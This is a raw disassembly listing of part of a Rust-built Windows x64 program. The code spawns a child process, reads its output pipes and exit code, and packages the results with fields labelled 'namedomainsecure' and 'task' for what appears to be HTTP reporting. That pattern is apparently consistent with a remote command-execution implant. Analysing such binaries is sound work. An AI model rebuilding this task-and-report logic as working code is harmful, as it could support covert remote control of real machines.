mov r8, r14
call sub.msvcrt.dll_memcpy
cmp rbx, qword [rsp + 0x4d0]
jne 0x140009e79
lea rcx, [rsp + 0x4d0]
mov rdx, rbx
call fcn.1400e2720
mov rsi, qword [rsp + 0x4d8]
mov rbx, qword [rsp + 0x4e0]
lea rax, [rbx + rbx*4]
mov qword [rsi + rax*8], 0
mov qword [rsi + rax*8 + 8], r14
mov qword [rsi + rax*8 + 0x10], r15
mov qword [rsi + rax*8 + 0x18], r14
mov byte [rsi + rax*8 + 0x20], 0
inc rbx
mov qword [rsp + 0x4e0], rbx
add rbp, 0x10
cmp rbp, r13
jne 0x140009e0b
mov dword [rsp + 0x570], 0x8000000
mov dword [rsp + 0x150], 3
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x4b0]
lea r8, [rsp + 0x150]
call fcn.1400d37c0
mov r12, qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2f0]
cmp rax, 2
jne 0x140009f34
mov rbx, r12
movabs rsi, 0x8000000000000000
lea rbp, [rsp + 0x160]
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x228]
mov rdx, qword [rsp + 0x220]
mov r8, qword [rsp + 0x218]
jmp 0x14000a6d6
mov r13, qword [rsp + 0x2e8]
mov r15, qword [rsp + 0x300]
mov rbx, qword [rsp + 0x308]
mov rsi, qword [rsp + 0x310]
mov r14, qword [rsp + 0x318]
test rax, rax
lea rbp, [rsp + 0x160]
je 0x140009f76
mov rcx, qword [rsp + 0x2f8]
call sub.kernel32.dll_CloseHandle
xor eax, eax
mov qword [rsp + 0xa0], rax
mov ecx, 1
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x130], rax
test r15, r15
je 0x14000a403
test rsi, rsi
lea rsi, [rsp + 0x150]
je 0x14000a44d
lea rcx, [rsp + 0x2e0]
mov rdx, rbx
lea r8, [rsp + 0xa0]
call fcn.1400dd800
mov rax, qword [rsp + 0x2e0]
mov rbx, qword [rsp + 0x2e8]
cmp rax, 3
je 0x14000b42e
lea rcx, [rsp + 0x2f1]
movdqu xmm0, xmmword [rcx - 1]
movdqu xmm1, xmmword [rcx + 0xf]
lea rcx, [rsp + 0xd0]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rbx
lea rcx, [rsp + 0x2e0]
mov rdx, r14
lea r8, [rsp + 0x120]
call fcn.1400dd800
mov rax, qword [rsp + 0x2e0]
mov rbx, qword [rsp + 0x2e8]
cmp rax, 3
je 0x14000a578
lea rcx, [rsp + 0x2f1]
movdqu xmm0, xmmword [rcx - 1]
movdqu xmm1, xmmword [rcx + 0xf]
movdqu xmmword [rbp + 0x10], xmm1
movdqu xmmword [rbp], xmm0
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rbx
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x178]
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x448], rcx
lea rbx, [rsp + 0x440]
mov ecx, 2
mov rdx, rbx
xor r8d, r8d
mov r9d, 0xffffffff
call sub.kernel32.dll_WaitForMultipleObjects
cmp eax, 1
je 0x14000a12e
test eax, eax
jne 0x14000a48e
mov rax, qword [rsp + 0xc0]
test rax, rax
je 0x14000a1b0
cmp eax, 1
jne 0x14000a187
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0x140], 0
lea r8, [rsp + 0x140]
mov r9d, 1
call sub.kernel32.dll_GetOverlappedResult
test eax, eax
je 0x14000a4a2
mov eax, dword [rsp + 0x140]
jmp 0x14000a18f
mov rax, qword [rsp + 0x150]
test rax, rax
je 0x14000a20b
cmp eax, 1
jne 0x14000a1e6
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x170]
mov dword [rsp + 0x140], 0
lea r8, [rsp + 0x140]
mov r9d, 1
call sub.kernel32.dll_GetOverlappedResult
test eax, eax
je 0x14000b10d
mov eax, dword [rsp + 0x140]
jmp 0x14000a1ee
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xc0], 0
mov rcx, qword [rsp + 0xd8]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14000a4e1
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0xc0]
call fcn.1400dda80
cmp byte [rsp + 0x2e0], 0
jne 0x14000a568
cmp byte [rsp + 0x2e1], 0
jne 0x14000a0b2
jmp 0x14000a4e1
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x150], 0
mov rcx, qword [rsp + 0x168]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14000a237
lea rcx, [rsp + 0x2e0]
mov rdx, rsi
call fcn.1400dda80
cmp byte [rsp + 0x2e0], 0
jne 0x14000a568
cmp byte [rsp + 0x2e1], 0
jne 0x14000a0b2
lea r14, [rsp + 0xc0]
jmp 0x14000a4e4
lea rcx, [0x140106838]
call fcn.1400eb623
mov r14, rax
mov rbx, rdx
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rdx
mov esi, 1
lock xadd qword [0x1401013e8], rsi
mov al, byte [0x14019e160]
mov edx, 0x100
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x14000b386
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rdi, [rcx + 0x80]
lea rdx, [rbx + 0x138]
add rbx, 0xd0
test r14, r14
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov eax, 0
mov qword [rcx + 0x88], rax
lea r8, [0x1401062a8]
mov qword [rcx + 0x90], r8
mov qword [rcx + 0x98], rax
mov qword [rcx + 0xa0], rsi
mov qword [rcx + 0xa8], 2
mov r8, qword [rsp + 0x98]
mov qword [rcx + 0xb0], r8
mov r8, qword [rsp + 0x60]
mov qword [rcx + 0xb8], r8
mov r8, qword [rsp + 0x2b8]
mov qword [rcx + 0xc0], r8
movups xmmword [rcx + 0xc8], xmm6
mov qword [rcx + 0xd8], rax
cmovne rbx, rdx
mov rcx, qword [rbx]
mov rdx, rdi
mov r8, r15
call fcn.1400eb6ae
test rax, rax
lea r13, [rsp + 0x780]
je 0x14000a350
test rdx, rdx
jne 0x14000b395
mov rcx, r15
call fcn.140002067
mov eax, 0xcc
mov ecx, 0x84
lock cmpxchg qword [rdi], rcx
movabs r14, 0x8000000000000000
lea rbx, [rsp + 0x108]
je 0x14000a385
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax + 0x20]
cmp qword [rsp + 0x290], 0
je 0x14000a3a6
mov r8, qword [rsp + 0x298]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
cmp qword [rsp + 0x58], 0
mov r8, qword [rsp + 0x100]
jne 0x14000b0a5
jmp 0x14000b0b3
mov ecx, 9
call fcn.1400f4dd8
movabs rcx, 0x6f727265656d6f73
mov qword [rdx], rcx
mov byte [rdx + 8], 0x72
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x258], rdx
mov qword [rsp + 0x260], 9
lea r13, [rsp + 0x780]
jmp 0x14000aeac
test rsi, rsi
lea rsi, [rsp + 0x150]
je 0x14000a58e
mov qword [rsp + 0xc0], r14
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0x120]
call fcn.1400d3180
cmp qword [rsp + 0x2e0], 0
jne 0x14000b489
mov rcx, r14
jmp 0x14000a484
mov qword [rsp + 0xc0], rbx
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0xa0]
call fcn.1400d3180
cmp qword [rsp + 0x2e0], 0
jne 0x14000b4c2
mov rcx, rbx
call sub.kernel32.dll_CloseHandle
jmp 0x14000a58e
call sub.kernel32.dll_GetLastError
mov ebx, eax
shl rbx, 0x20
or rbx, 2
jmp 0x14000a570
call sub.kernel32.dll_GetLastError
mov rbx, rax
shl rbx, 0x20
or rbx, 2
mov qword [rsp + 0x2e0], rbx
cmp eax, 0x6d
je 0x14000a4c8
cmp eax, 0x26
jne 0x14000a570
lea rcx, [rsp + 0x2e0]
call fcn.1400af350
mov qword [rsp + 0xc0], 0
mov r14, rsi
mov rax, qword [r14]
test rax, rax
je 0x14000a540
cmp eax, 1
jne 0x14000a528
mov rdx, qword [r14 + 0x10]
mov dword [rsp + 0x140], 0
mov rcx, qword [r14 + 0x20]
lea r8, [rsp + 0x140]
mov r9d, 1
call sub.kernel32.dll_GetOverlappedResult
test eax, eax
je 0x14000b0ce
mov eax, dword [rsp + 0x140]
jmp 0x14000a52c
mov rax, qword [r14 + 8]
mov qword [r14], 0
mov rcx, qword [r14 + 0x18]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14000a564
lea rcx, [rsp + 0x2e0]
mov rdx, r14
call fcn.1400dda80
cmp byte [rsp + 0x2e0], 0
jne 0x14000a568
cmp byte [rsp + 0x2e1], 0
jne 0x14000a4e4
xor ebx, ebx
jmp 0x14000a570
mov rbx, qword [rsp + 0x2e8]
mov rcx, rsi
call fcn.1400dd8d0
lea rcx, [rsp + 0xc0]
call fcn.1400dd8d0
test rbx, rbx
jne 0x14000b436
mov rcx, r12
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
test eax, eax
je 0x14000a5ff
call sub.kernel32.dll_GetLastError
mov ebx, eax
movabs rsi, 0x8000000000000000
cmp qword [rsp + 0x120], 0
je 0x14000a5d1
mov r8, qword [rsp + 0x128]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
cmp qword [rsp + 0xa0], 0
je 0x14000a5f2
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
shl rbx, 0x20
or rbx, 2
mov r15, rsi
jmp 0x14000a677
mov dword [rsp + 0x150], 0
mov rcx, r12
mov rdx, rsi
call sub.kernel32.dll_GetExitCodeProcess
test eax, eax
movabs rsi, 0x8000000000000000
je 0x14000b0c2
mov r15, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x450], rax
mov rcx, r12
call sub.kernel32.dll_CloseHandle
mov rcx, r13
call sub.kernel32.dll_CloseHandle
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x50], rax
cmp r15, rsi
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x228]
mov rdx, qword [rsp + 0x220]
mov r8, qword [rsp + 0x218]
jne 0x14000a6f3
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x80], r8
mov r15, rsi
mov qword [rsp + 0x70], rbx
cmp qword [rsp + 0x4b0], 0
je 0x14000a719
mov r8, qword [rsp + 0x4b8]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
mov rbx, qword [rsp + 0x4d8]
mov rsi, qword [rsp + 0x4e0]
test rsi, rsi
je 0x14000a753
lea r14, [rbx + 0x10]
cmp qword [r14 - 8], 0
je 0x14000a74a
mov r8, qword [r14]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
add r14, 0x28
dec rsi
jne 0x14000a732
mov qword [rsp + 0x110], r15
cmp qword [rsp + 0x4d0], 0
je 0x14000a777
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, rbx
call fcn.1400fdef8
mov r13, qword [rsp + 0x538]
test r13, r13
je 0x14000a916
mov rbp, qword [rsp + 0x540]
mov r14, qword [rsp + 0x548]
test r14, r14
je 0x14000a8b0
mov rbx, r13
xor r13d, r13d
test r13, r13
jne 0x14000a7c4
mov r13, rbx
test rbp, rbp
je 0x14000a7c0
mov r13, qword [r13 + 0x3d8]
dec rbp
jne 0x14000a7b4
xor ebp, ebp
xor ebx, ebx
movzx eax, word [r13 + 0x3d2]
mov r12, rbp
mov r15, r13
cmp rbp, rax
lea rbp, [rsp + 0x160]
jb 0x14000a818
mov r15, qword [r13 + 0x160]
test r15, r15
je 0x14000b247
inc rbx
movzx r12d, word [r13 + 0x3d0]
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, r13
call fcn.1400fdef8
mov r13, r15
cmp r12w, word [r15 + 0x3d2]
jae 0x14000a7df
test rbx, rbx
je 0x14000a843
mov r13, qword [r15 + r12*8 + 0x3e0]
dec rbx
je 0x14000a83f
mov r13, qword [r13 + 0x3d8]
dec rbx
jne 0x14000a82a
test r15, r15
je 0x14000a916
xor ebp, ebp
jmp 0x14000a84b
lea rbp, [r12 + 1]
mov r13, r15
imul rax, r12, 0x38
lea rsi, [r15 + rax]
add rsi, 0x168
cmp qword [rsi], 0
je 0x14000a872
mov r8, qword [rsi + 8]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
cmp qword [rsi + 0x20], 0
je 0x14000a88b
mov r8, qword [rsi + 0x28]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
dec r14
shl r12, 5
mov rcx, qword [r15 + r12]
mov rdx, qword [r15 + r12 + 8]
call fcn.1400a0f0a
mov ebx, 0
test r14, r14
jne 0x14000a7a7
jmp 0x14000a8c1
test rbp, rbp
je 0x14000a8c1
mov r13, qword [r13 + 0x3d8]
dec rbp
jne 0x14000a8b5
mov rax, qword [r13 + 0x160]
test rax, rax
je 0x14000a8fa
lea rbp, [rsp + 0x160]
mov r14, rax
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, r13
call fcn.1400fdef8
mov rax, qword [r14 + 0x160]
mov r13, r14
test rax, rax
jne 0x14000a8d5
jmp 0x14000a905
mov r14, r13
lea rbp, [rsp + 0x160]
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, r14
call fcn.1400fdef8
mov rax, qword [rsp + 0x4e8]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000a948
test rax, rax
je 0x14000a948
mov r8, qword [rsp + 0x4f0]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
mov eax, dword [rsp + 0x508]
cmp eax, 6
lea r13, [rsp + 0x780]
je 0x14000a96e
cmp eax, 4
jb 0x14000a96e
mov rcx, qword [rsp + 0x510]
call sub.kernel32.dll_CloseHandle
mov eax, dword [rsp + 0x518]
cmp eax, 6
je 0x14000a98c
cmp eax, 4
jb 0x14000a98c
mov rcx, qword [rsp + 0x520]
call sub.kernel32.dll_CloseHandle
mov eax, dword [rsp + 0x528]
cmp eax, 6
je 0x14000a9aa
cmp eax, 4
jb 0x14000a9aa
mov rcx, qword [rsp + 0x530]
call sub.kernel32.dll_CloseHandle
mov rbx, qword [rsp + 0x558]
test rbx, rbx
je 0x14000ab1e
mov r13, qword [rsp + 0x560]
mov r12, qword [rsp + 0x568]
test r12, r12
je 0x14000aac0
mov r14, rbx
xor ebx, ebx
test rbx, rbx
jne 0x14000a9f8
mov rbx, r14
test r13, r13
je 0x14000a9f2
mov rbx, qword [rbx + 0x170]
dec r13
jne 0x14000a9e6
xor r13d, r13d
xor r14d, r14d
movzx eax, word [rbx + 0x16a]
mov rsi, r13
mov r15, rbx
cmp r13, rax
lea r13, [rsp + 0x780]
jb 0x14000aa46
mov r15, qword [rbx]
test r15, r15
je 0x14000b251
inc r14
movzx esi, word [rbx + 0x168]
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, rbx
call fcn.1400fdef8
mov rbx, r15
cmp si, word [r15 + 0x16a]
jae 0x14000aa12
test r14, r14
je 0x14000aa72
mov rbx, qword [r15 + rsi*8 + 0x178]
dec r14
je 0x14000aa6d
mov rbx, qword [rbx + 0x170]
dec r14
jne 0x14000aa58
test r15, r15
je 0x14000ab1e
xor r13d, r13d
jmp 0x14000aa79
lea r13, [rsi + 1]
mov rbx, r15
lea rax, [rsi + rsi*2]
mov r14, qword [r15 + rax*8 + 0x60]
mov rsi, qword [r15 + rax*8 + 0x68]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000aaaf
cmp qword [rsi + 0x10], 0x11
jb 0x14000aa9e
mov r14, qword [r14 - 8]
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, r14
call fcn.1400fdef8
mov r14d, 0
dec r12
jne 0x14000a9d9
jmp 0x14000aad1
test r13, r13
je 0x14000aad1
mov rbx, qword [rbx + 0x170]
dec r13
jne 0x14000aac5
mov rax, qword [rbx]
test rax, rax
je 0x14000ab02
lea r13, [rsp + 0x780]
mov r14, rax
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, rbx
call fcn.1400fdef8
mov rax, qword [r14]
mov rbx, r14
test rax, rax
jne 0x14000aae1
jmp 0x14000ab0d
mov r14, rbx
lea r13, [rsp + 0x780]
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, r14
call fcn.1400fdef8
movabs r14, 0x8000000000000000
cmp qword [rsp + 0x110], r14
jne 0x14000ac0b
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x150], rax
lea r15, [rsp + 0x150]
mov qword [rsp + 0x2e0], r15
lea rax, [0x1400cf450]
mov qword [rsp + 0x2e8], rax
lea rax, [0x14018c648]
mov qword [rsp + 0x4b0], rax
mov ecx, 1
mov qword [rsp + 0x4b8], rcx
mov qword [rsp + 0x4d0], 0
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x4c8], rcx
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0x4b0]
call fcn.1400123f0
mov rcx, r15
call fcn.14000201e
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x218], rax
lea r12, [rsp + 0x650]
mov rsi, qword [rsp + 0x68]
jmp 0x14000aeac
lea rcx, [rsp + 0x120]
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x80]
call fcn.140012190
mov rbx, qword [rsp + 0x128]
mov r14, qword [rsp + 0x130]
mov rcx, r14
call fcn.1400f4dd8
mov r12, rax
mov r13, rdx
mov rcx, rdx
mov rdx, rbx
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0xb0], r14
lea r15, [rsp + 0x150]
mov rcx, r15
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x88]
call fcn.140012190
mov rbx, qword [rsp + 0x158]
mov r14, qword [rsp + 0x160]
mov rcx, r14
call fcn.1400f4dd8
mov r12, rax
mov r13, rdx
mov rcx, rdx
mov rdx, rbx
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0xd0], r14
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x2e0], rax
lea rax, [0x1400067d6]
mov qword [rsp + 0x2e8], rax
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x2f0], rcx
mov qword [rsp + 0x2f8], rax
lea rax, [0x140144150]
mov qword [rsp + 0x4b0], rax
mov ecx, 2
mov qword [rsp + 0x4b8], rcx
mov qword [rsp + 0x4d0], 0
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x4c8], rcx
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0x4b0]
call fcn.1400123f0
cmp qword [rsp + 0xc0], 0
mov rsi, qword [rsp + 0x68]
je 0x14000ad7c
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
mov rax, qword [rsp + 0x150]
movabs r14, 0x8000000000000000
cmp rax, r14
je 0x14000adae
test rax, rax
je 0x14000adae
mov r8, qword [rsp + 0x158]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
cmp qword [rsp + 0xa0], 0
lea r12, [rsp + 0x650]
lea r13, [rsp + 0x780]
mov rbx, qword [rsp + 0x50]
je 0x14000ade4
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
mov rax, qword [rsp + 0x120]
cmp rax, r14
je 0x14000ae0c
test rax, rax
je 0x14000ae0c
mov r8, qword [rsp + 0x128]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
cmp qword [rsp + 0x110], 0
je 0x14000ae2a
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1400fdef8
test rbx, rbx
je 0x14000ae77
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov qword [rsp + 0x50], rbx
mov rbx, rdi
mov rdi, qword [rsp + 0x48]
mov r8, rdi
call fcn.1400fdef8
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x228], rdi
mov rdi, rbx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x220], rax
jmp 0x14000ae9c
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x220], rbx
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x218], rax
cmp qword [rsp + 0x248], 0
je 0x14000aec8
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, rsi
call fcn.1400fdef8
mov rsi, qword [rsp + 0x260]
cmp rsi, 9
jne 0x14000aeff
mov rbx, qword [rsp + 0x258]
mov rax, qword [rbx]
movabs rcx, 0x6f727265656d6f73
xor rax, rcx
movzx ecx, byte [rbx + 8]
xor rcx, 0x72
or rcx, rax
je 0x14000b051
call fcn.1400e2ab0
test rax, rax
je 0x14000b313
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
lea r8, [rcx + 1]
mov qword [rax], r8
movups xmm0, xmmword [0x140164620]
movaps xmmword [rsp + 0xd0], xmm0
movdqu xmm0, xmmword [0x140164610]
movdqa xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0x20], 8
mov r8d, 4
lea r15, [rsp + 0xc0]
mov rcx, r15
lea rdx, str.namedomainsecure
lea r9, [0x14010682a]
call fcn.14000145c
mov qword [rsp + 0x20], rdi
mov r8d, 4
mov rcx, r15
lea rdx, str.task
mov r9, qword [rsp + 0x100]
call fcn.14000145c
mov rbx, qword [rsp + 0x258]
mov qword [rsp + 0x20], rsi
mov r8d, 6
mov rcx, r15
lea rdx, [0x140106832]
mov r9, rbx
call fcn.14000145c
lea r15, [rsp + 0x4b0]
mov rcx, r15
lea rdx, [rsp + 0x840]
mov r8, qword [rsp + 0x470]
mov r9, qword [rsp + 0x468]
call fcn.1400068a4
mov rdi, qword [rsp + 0xc0]
mov r9, qword [rsp + 0xd8]
lea rsi, [rsp + 0x2e0]
mov rcx, rsi
mov rdx, r15
mov r8, rdi
call fcn.1400069c9
lea r15, [rsp + 0x150]
mov rcx, r15
mov rdx, rsi
call fcn.1400a518f
cmp dword [rsp + 0x150], 3
jne 0x14000b039
lea rcx, [rsp + 0x158]
call fcn.140001fc5
jmp 0x14000b041
mov rcx, r15
call fcn.140002091
mov rdx, qword [rsp + 0xc8]
mov rcx, rdi
call fcn.1400025db
cmp qword [rsp + 0x250], 0
je 0x14000b06d
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, rbx
call fcn.1400fdef8
cmp qword [rsp + 0x58], 0
mov rsi, qword [rsp + 0x98]
je 0x14000b093
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, qword [rsp + 0x100]
call fcn.1400fdef8
mov r8, qword [rsp + 0x60]
test rsi, rsi
lea rbx, [rsp + 0x108]
je 0x14000b0b3
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
mov ecx, 0xa
call fcn.1400b21d0
jmp 0x1400075c8
call sub.kernel32.dll_GetLastError
mov ebx, eax
jmp 0x14000a5b0
call sub.kernel32.dll_GetLastError
mov rbx, rax
shl rbx, 0x20
or rbx, 2
mov qword [rsp + 0x2e0], rbx
cmp eax, 0x6d
je 0x14000b0f4
cmp eax, 0x26
jne 0x14000a570
lea rcx, [rsp + 0x2e0]
call fcn.1400af350
mov qword [r14], 0
jmp 0x14000a564
call sub.kernel32.dll_GetLastError
mov rbx, rax
shl rbx, 0x20
or rbx, 2
mov qword [rsp + 0x2e0], rbx
cmp eax, 0x6d
je 0x14000b133
cmp eax, 0x26
jne 0x14000a570
lea rcx, [rsp + 0x2e0]
call fcn.1400af350
mov qword [rsp + 0x150], 0
jmp 0x14000a237
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
mov edx, 0x13
call fcn.14001a4d0
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
mov rcx, rbp
jmp 0x14000b17e
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
jmp 0x14000b17e
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
mov rdx, r14
call fcn.14001a4d0
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
jmp 0x14000b158
lea rcx, str.Must_not_use_a_decoder_that_has_finished.
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
mov edx, 0x29
call fcn.14001b470
lea rdx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_mime_0.3.17_src_lib.rs
mov qword [rsp + 0x20], rdx
mov rdx, rdi
mov r8, rax
mov r9, r10
call fcn.14001f890
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_mime_0.3.17_src_lib.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
call fcn.14001f890
lea r8, [0x1401067f8]
xor ecx, ecx
xor edx, edx
call fcn.14001a4d0
lea rcx, str._async_fn__resumed_after_completion_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.11_src_header_value.rsunable_to_find_any_user_specified_roots_in_the_final_cert_chainbytes_remaining_on_streamOut_of_bounds_accesspolling_StreamFuture_twice_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_stream_into_future.rs
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.10.10_src_async_impl_response.rs
jmp 0x14000b278
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
mov rcx, rbp
mov rdx, r14
call fcn.14001a450
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
mov rcx, rbx
mov rdx, r12
call fcn.14001a450
lea rcx, str._async_fn__resumed_after_completion_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.11_src_header_value.rsunable_to_find_any_user_specified_roots_in_the_final_cert_chainbytes_remaining_on_streamOut_of_bounds_accesspolling_StreamFuture_twice_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_stream_into_future.rs
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.10.10_src_async_impl_response.rs
jmp 0x14000b278
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
mov rdx, rdi
call fcn.14001a450
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
call fcn.14001a450
mov edx, 8
mov rcx, r13
jmp 0x14000b259
mov edx, 8
mov rcx, rbx
call fcn.140011840
lea rcx, [0x140160730]
call fcn.14001e660
lea rcx, str._async_fn__resumed_after_completion_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.11_src_header_value.rsunable_to_find_any_user_specified_roots_in_the_final_cert_chainbytes_remaining_on_streamOut_of_bounds_accesspolling_StreamFuture_twice_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_stream_into_future.rs
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_hyper_0.13.10_src_body_to_bytes.rs
mov edx, 0x23
call fcn.14001b470
lea rcx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
call fcn.14001e660
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
mov rcx, rbx
mov rdx, rbp
call fcn.14001a450
mov ecx, 8
mov edx, 0x18
call fcn.140011cc0
lea rax, [0x140157c60]
jmp 0x14000b303
lea rcx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
call fcn.14001e660
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
mov edx, 0x13
call fcn.14001b0d0
lea rax, [0x140157c78]
jmp 0x14000b303
